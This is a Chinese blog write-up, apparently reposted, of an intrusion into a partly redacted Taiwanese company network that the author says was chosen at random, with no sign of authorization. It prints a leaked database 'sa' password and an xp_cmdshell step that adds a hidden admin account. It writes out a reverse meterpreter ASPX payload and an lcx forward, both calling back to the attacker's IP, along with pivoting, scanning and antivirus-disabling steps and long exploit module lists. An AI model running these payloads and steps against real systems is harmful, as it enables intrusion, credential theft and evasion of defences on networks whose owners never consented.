内网渗透 -- MSF综合利用

admin 2022年1月17日00:42:17评论147 views字数 9017阅读30分3秒阅读模式


0x01 前言


随机找的个台湾某越科技集团下的站点作为此次测试目标,只是为了学习下内网渗透和MSF的使用。13年9月份时拿到了一个子域的Webshell权限后就没再继续测试了,当时服务器没有安装Symantec赛门铁克,但第二次去测试时发现已安装了Symantec,并进行了一些安全加固。


0x02 网站和内网的基本信息搜集

基本信息探测:

目标站点:http://www.ttes*****.com服务器IP:59.***.**.74(台湾省 中华电信)环境平台:ASP.NET服务器系统:Microsoft-IIS/6.0(Wind 2003)


网站子域搜集:

内网渗透 -- MSF综合利用


表中的这些子域名是前期搜集到的信息,但没想到很顺利的就拿到了Webshell(Fckeditor),如果主站找不到什么漏洞时可以通过“旁站”或“子域”下手。


因为本文着重记录的是MSF工具的使用和难点解决,所以对于怎么拿到的Webshell就不做过多描述了,在拿到权限后搜集到的服务器信息如下。

端口开放:25、80、135、445、1025、1521、3389补丁情况:服务器系统打了460+补丁(64位)脚本探测:服务器支持Asp、Aspx拓展名磁盘权限:C、D盘都有可读可写权限(大多数)


ipconfig /all命令可以看到这台主机名为:websrv4,IP:192.168.0.203,DNS:192.168.3.1

Windows IP Configuration  Host Name . . . . . . . . . . . . : websrv4  Connection-specific DNS Suffix  . :   IP Address. . . . . . . . . . . . : 192.168.0.203  Subnet Mask . . . . . . . . . . . : 255.255.255.0  Default Gateway . . . . . . . . . : 192.168.0.254  DNS Servers . . . . . . . . . . . : 192.168.3.1                                       168.95.1.1


net view /domain命令可以看到存在两个域和一个工作组:7PV1V1S、TT、WORKGROUP,以及存活主机的对应IP地址如下图,还可以看到当前已控websrv4主机在工作组中。

内网渗透 -- MSF综合利用


TT域主机比较多,另放一个表,域控应该是:192.168.3.1,这里可根据自己的经验去分析工作组和各域的组织结构以及各主机所担任的角色。

内网渗透 -- MSF综合利用


0x03 Webshell提权之遇防御软件

当前这台已控主机的系统为Windows 2003 X64,虽然知道X64可用提权EXP不多,但也得去尝试下,结果均以失败告终,Oracle提权没接触过,不是很了解,先暂时放一边。


大家都知道ASPX与MSSQL是最佳搭档,在web.config配置文件中找到数据库连接信息,这里可以看到MSSQL数据库是运行在内网192.168.0.206这台主机上,属于站库分离。

<add name="ttes*****_enConnectionString1" connectionString="Data Source=192.168.0.206;Initial Catalog=ttes*****_global;Persist Security Info=True;User ID=sa;Password=tt@12345" providerName="System.Data.SqlClient"/>

接下来利用大马的数据库管理功能连接192.168.0.206这台内网主机的MSSQL,启用xp_cmdshell组件执行命令加一个管理员用户,再利用portfwd命令将它的3389端口转发出来。

内网渗透 -- MSF综合利用

注:有的同学可能会说直接使用大马里的端口映射功能就可以了,是可以,但我反正是没成功过,不知是不是我的姿势有问题,嗯,肯定是的,还是太菜!


已成功添加test$管理员用户,接下来就是使用Lcx端口转发工具了,大家应该都懂的,在203这台主机上传并执行,但转发的可是206这台数据库主机的3389哦。

C:RECYCLERlcx.exe -slave 你的外网IP 51 192.168.0.206 3389

注意事项:

13年9月192.168.0.203这台主机上还没有防御软件,可直接上传Lcx.exe到任意可读写目录,并且正常执行。但写文章时发现已经安装了symantec,Lcx.exe和各种提权EXP在上传过程中都被拦截,也试了常用的Vbs、Bat、Exe,上传、下载、修改拓展等方式,只要被检测为恶意行为的操作都会被拦截。

symantec endpoint protection Processsmc.exesnac.execcsvchst.exertvscan.exesymantec endpoint protection 防御软件的风险日志默认只保存14天,进入服务器后可自行设置

在后期测试中还发现在Fckeditor上传Webshell时也被拦截了,如常见的:一句话、小马、大马等,如下图,可多测试一些过WAF的马儿看下是否能绕过?

内网渗透 -- MSF综合利用

测试记录:

内网环境,站库分离,web.config找到data(192.168.0.206)SA用户,成功添加管理员用户;Web(192.168.0.203) 、data(192.168.0.206)都安装了symantec,不能使用Lcx.exe等工具;测试了其他转发工具要么被拦截,要么无法用,而reDuh只能转发出当前203的,而且速度极慢;msfpayload生成的Exe文件也被查杀,服务器是X64msfencode中也没有X64编码器,此路不通;

0x04 绕过防御软件进行端口转发

通过Google搜索在一篇文章中得到思路,使用msfpayload生成一个Aspx反弹脚本,得到meterpreter会话后再用portfwd命令将数据库服务器192.168.0.206的3389端口转发出来。

msfpayload windows/x64/meterpreter/reverse_tcp LHOST=113.***.*.238 LPORT=12345 R | msfencode -t aspx -o /media/sf_系统学习/test.aspx
内网渗透 -- MSF综合利用

msfconsole配置好监听相关选项,把刚生成的test.aspx反弹脚本上传到网站的WEB目录下,然后在浏览器中访问即可得到目标主机会话

root@box3:~# msfconsolemsf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.7msf exploit(handler) > set LPORT 12345msf exploit(handler) > exploit
内网渗透 -- MSF综合利用

接着我们再用portfwd命令将内网中数据库服务器192.168.0.206的3389端口给转发出来,且能够正常连接它的3389远程终端了,相关命令参数如下,当时忘了截图!

meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.0.206[*] Local TCP relay created: 0.0.0.0:1234 <-> 192.168.0.206:3389
Usage: portfwd [-h] [add | delete | list | flush] [args] 添加 删除 列表 刷新 参数
OPTIONS: -h Help banner. // 帮助 -L <opt> The local host to listen on (optional). // 本地IP地址 -l <opt> The local port to listen on. // 本地端口号 -r <opt> The remote host to connect to. // 远程IP地址 -p <opt> The remote port to connect to. // 远程端口号

接下来给大家讲下在MSF用Socks4a代理连接内网中的3389,在开启Socks4a代理前必须先得到一个Meterpreter会话,然后直接利用Socks4a模块开启代理,默认执行即可。

msf auxiliary(socks4a) > use auxiliary/server/socks4amsf auxiliary(socks4a) > set SRVHOST 127.0.0.1msf auxiliary(socks4a) > run[*] Auxiliary module execution completedmsf auxiliary(socks4a) > [*] Starting the socks4a proxy server
内网渗透 -- MSF综合利用

配置proxychains代理工具时需要在/etc/proxychains.conf文件底部添加一条"socks4 127.0.0.1 1080",必须确保与socks4a模块中的SRVHOST、SRVPORT参数是一致的。

root@box3:~# vi /etc/proxychains.conf

开启Socks4a代理并配置好proxychains代理工具,这时我们就可以在命令终端中直接用proxychains代理msf/nmap/sqlmap/nessus/mysql/sqsh/rdesktop/ftp/ssh等对目标内网其他主机进行扫描测试了。

root@box3:~# proxychains msfconsole -qroot@box3:~# proxychains rdesktop 192.168.0.206

注:开启了Socks4a代理但无法正常使用时有可能是防火墙的问题,这时可以尝试将SRVHOST参数设置为127.0.0.1,默认为0.0.0.0,端口为1080。切记不要把开代理和代理工具弄混了!!!


2014-07-28:再次测试发现用原来的方法都弹不回来了,接着尝试了reDuh_Gui,reverse_tcp 80端口....等方式,都是数据通了且TCP连接状态为:LISTENING,但就是连接不上或者不给弹回会话。

内网渗透 -- MSF综合利用

最后突破及后续思路:使用免杀Lcx.exe工具,本地监听80端口,在进入192.168.0.206数据库服务器后停用Symantec防御软件,然后再运行MSF攻击载荷上线后再对内网其他主机进行进一步渗透。


0x05 获取C段开放端口及系统版本

当前会话下利用get_local_subnets脚本获取本地子网网段,将当前会话与Kali本机建立路由表实现跨路由访问,这样就能直接使用MSF框架下的模块对目标内网其他主机进行扫描测试了。

meterpreter > run get_local_subnetsLocal subnet: 192.168.0.0/255.255.255.0meterpreter > run autoroute -s 192.168.0.0/255.255.255.0[*] Adding a route to 192.168.0.0/...[+] Added route to 192.168.0.0/ via 59.***.**.66[*] Use the -p option to list all active routes
//1是sessions的会话id,route的时候别弄错了!msf exploit(handler) > route add 192.168.0.0 255.255.255.0 1
//查看当前活动的所有路由meterpreter > run autoroute -pmsf exploit(handler) > route print
内网渗透 -- MSF综合利用

用MSF下的auxiliary/scanner/portscan/tcp模块对目标内网C段进行批量端口扫描,这个模块可以很方便的探测到整个C段主机的端口开放情况,使我们在后期渗透测试中更能游刃有余。


这里笔者主要就扫了这几个常见端口:21/22/445/1433/3306/3389来做演示。其他更多常见端口有:23/25/80/110/135/139/1521/8080/14147/43958等。

msf exploit(handler) > use auxiliary/scanner/portscan/tcpmsf auxiliary(tcp) > set RHOSTS 192.168.0.1-254msf auxiliary(tcp) > set PORTS 21,22,445,1433,3306,3389msf auxiliary(tcp) > set THREADS 50msf auxiliary(tcp) > exploit
内网渗透 -- MSF综合利用

如果太慢可以选择适当增加线程,扫描过程中需要等待一段时间,在结束后可以用hosts、services等命令参数来查看扫描结果,前提得连上PostgreSQL数据库,端口扫描结果如下图。

内网渗透 -- MSF综合利用

我们还可以利用以下几个模块来探测存活主机,系统版本、软件版本、计算机名、MAC地址、所属工作组或域等等信息,这里只列出了一些常用的模块,图片来自@OffSec

auxiliary/scanner/portscan/tcpauxiliary/scanner/portscan/ackauxiliary/scanner/portscan/synauxiliary/scanner/ftp/ftp_versionauxiliary/scanner/ssh/ssh_versionauxiliary/scanner/smb/smb_versionauxiliary/scanner/dns/dns_ampauxiliary/scanner/http/titleauxiliary/scanner/http/http_versionauxiliary/scanner/telnet/telnet_versionauxiliary/scanner/mysql/mysql_versionauxiliary/scanner/postgres/postgres_versionauxiliary/scanner/netbios/nbnameauxiliary/scanner/netbios/nbname_probe    //已删除auxiliary/scanner/discovery/arp_sweepauxiliary/scanner/discovery/udp_probeauxiliary/scanner/discovery/udp_sweep[...SNIP...]
内网渗透 -- MSF综合利用

0x06 常见服务暴力破解和利用模块

在已拿到权限的主机上搜集更多的用户、密码等信息,包括:第三方、SSH/RDP、各种网站/数据库、文本或表格中存储的用户密码,然后再对其进行分析看是否存在规律或通用的可能性,如果有我们则可以根据规律来生成一份高效字典使用以下模块来进行爆破和利用,图片来自@OffSec


注:有些模块也是在重新编辑这篇文章时新加的,既然都重新整理了,何不弄全一些呢?强迫症又犯了!目前我常用到的也有这些,如果师傅们有其他常用的模块也可以补充下哈。

auxiliary/scanner/ftp/anonymousauxiliary/scanner/ftp/ftp_loginauxiliary/scanner/ssh/ssh_loginauxiliary/scanner/ssh/ssh_login_pubkeyauxiliary/dos/windows/ftp/filezilla_admin_userauxiliary/dos/windows/ftp/filezilla_server_portpost/windows/gather/credentials/flashfxppost/windows/gather/credentials/smartftppost/windows/gather/credentials/wsftp_clientpost/windows/gather/credentials/filezilla_serverpost/windows/gather/credentials/xshell_xftp_passwordpost/multi/gather/filezilla_client_credauxiliary/scanner/smb/smb_loginauxiliary/admin/smb/upload_fileexploit/windows/smb/psexecexploit/windows/smb/ms08_067_netapiauxiliary/scanner/smb/smb_ms17_010exploit/windows/smb/ms17_010_psexecauxiliary/admin/smb/ms17_010_commandexploit/windows/smb/ms17_010_eternalblueexploit/windows/smb/webexecauxiliary/admin/smb/webexec_commandauxiliary/scanner/smb/impacket/wmiexecauxiliary/admin/mysql/mysql_enumauxiliary/admin/mysql/mysql_sqlauxiliary/scanner/mysql/mysql_loginauxiliary/scanner/mysql/mysql_hashdumpexploit/windows/mysql/mysql_mofexploit/multi/mysql/mysql_udf_payloadauxiliary/admin/mssql/mssql_enumauxiliary/admin/mssql/mssql_execauxiliary/admin/mssql/mssql_sqlauxiliary/admin/mssql/mssql_escalate_dbownerauxiliary/scanner/mssql/mssql_pingauxiliary/scanner/mssql/mssql_loginauxiliary/scanner/mssql/mssql_hashdumpexploit/windows/mssql/mssql_clr_payloadexploit/windows/mssql/mssql_payloadexploit/windows/mssql/mssql_payload_sqlipost/windows/manage/enable_rdppost/windows/gather/enum_termservpost/windows/gather/credentials/mremoteauxiliary/scanner/rdp/ms12_020_checkauxiliary/dos/windows/rdp/ms12_020_maxchannelidsauxiliary/scanner/rdp/cve_2019_0708_bluekeepexploit/windows/rdp/cve_2019_0708_bluekeep_rceexploit/windows/rdp/rdp_doublepulsar_rce[...SNIP...]
内网渗透 -- MSF综合利用

官方使用手册:

https://www.offensive-security.com/metasploit-unleashed/auxiliary-module-reference


0x07 实战过程问题和一些想说的话

一、实战过程问题

MSF中很多Exploit都是不过杀软的,碰到赛门铁克/卡巴斯基/360等几乎完全过不了,@Moker老哥提醒;

  1. 目标属内网环境,只有Webshell权限,这时可以采用迂回战术,先进入内网搜集密码组合字典,然后再去搞我们的目标主机;

  2. 内网中MSF可以扫描A、B段主机吗?答:应该可以,但是扫描A、B段主机的话IDS会瞬间报警,因为流量太大,不建议尝试;

  1. 使用MS08_067_netapi + bind_tcp正向批量溢出时如果内网主机中存在杀毒软件会有拦截提示,动静太大了,也不建议尝试;


问题1.在203的Webshell上用Lcx.exe转发进入206数据库服务器,查看“事件查看器”->“安全性”的源网络地址为什么是192.168.0.203?而主机名又是我本地的主机名,没太弄懂?


回答1:因为连接时是通过203这台服务器转发的数据,所以源网络地址是192.168.0.203,但是数据包是你本机发送的,所以主机名还是你机器名 。如果是使用代理就不会出现这样的情况。


问题2.在203的Webshell连接206数据库服务器,通过xp_cmdshell查看进程中有Symantec防御软件,但为何进入206服务器后在任务管理器中只有系统默认运行进程,没有Symantec进程?


回答2:因为在任务管理器中没有点击查看所有进程,^.^!!!


二、一些想说的话

其实大致思路也就是如上所写,最终拿到了几十台主机权限,包括TT域控权限,只不过由于当时文章写到一半去忙其他事情去了,等过了几个月后再回来测试时发现权限都已经掉光了,所以这篇文章并不是完整的,而且大部分图片也都没有截取到,确实有些遗憾,大家将就着看下吧......!


好书推荐

内网渗透 -- MSF综合利用


本书详解Windows加解密算法的原理及其实现技术,内容安排首先从各大主流加解密算法的原理入手,然后用C/C++语言自主实现这些算法,最后从C/C++提供的主流加解密框架和函数库入手讲解其使用方法。 本书分为14章,内容包括密码学概述、搭建C和C++密码开发环境、对称密码算法、杂凑函数和HMAC、密码学中常见的编码格式、非对称算法RSA的加解密、数字签名技术、椭圆曲线密码体制ECC、CSP和CryptoAPI、身份认证和PKI理论基础、实战PKI、SSL-TLS编程、SM2算法的数学基础、SM2算法的实现。 本书适合用于C/C++初中级开发人员自学密码开发技术。


禁止非法,后果自负

欢迎关注公众号:web安全工具库

欢迎关注视频号:之乎者也吧

内网渗透 -- MSF综合利用


内网渗透 -- MSF综合利用


内网渗透 -- MSF综合利用

原文始发于微信公众号(web安全工具库):内网渗透 -- MSF综合利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月17日00:42:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透 -- MSF综合利用https://cn-sec.com/archives/739182.html

发表评论

匿名网友 填写信息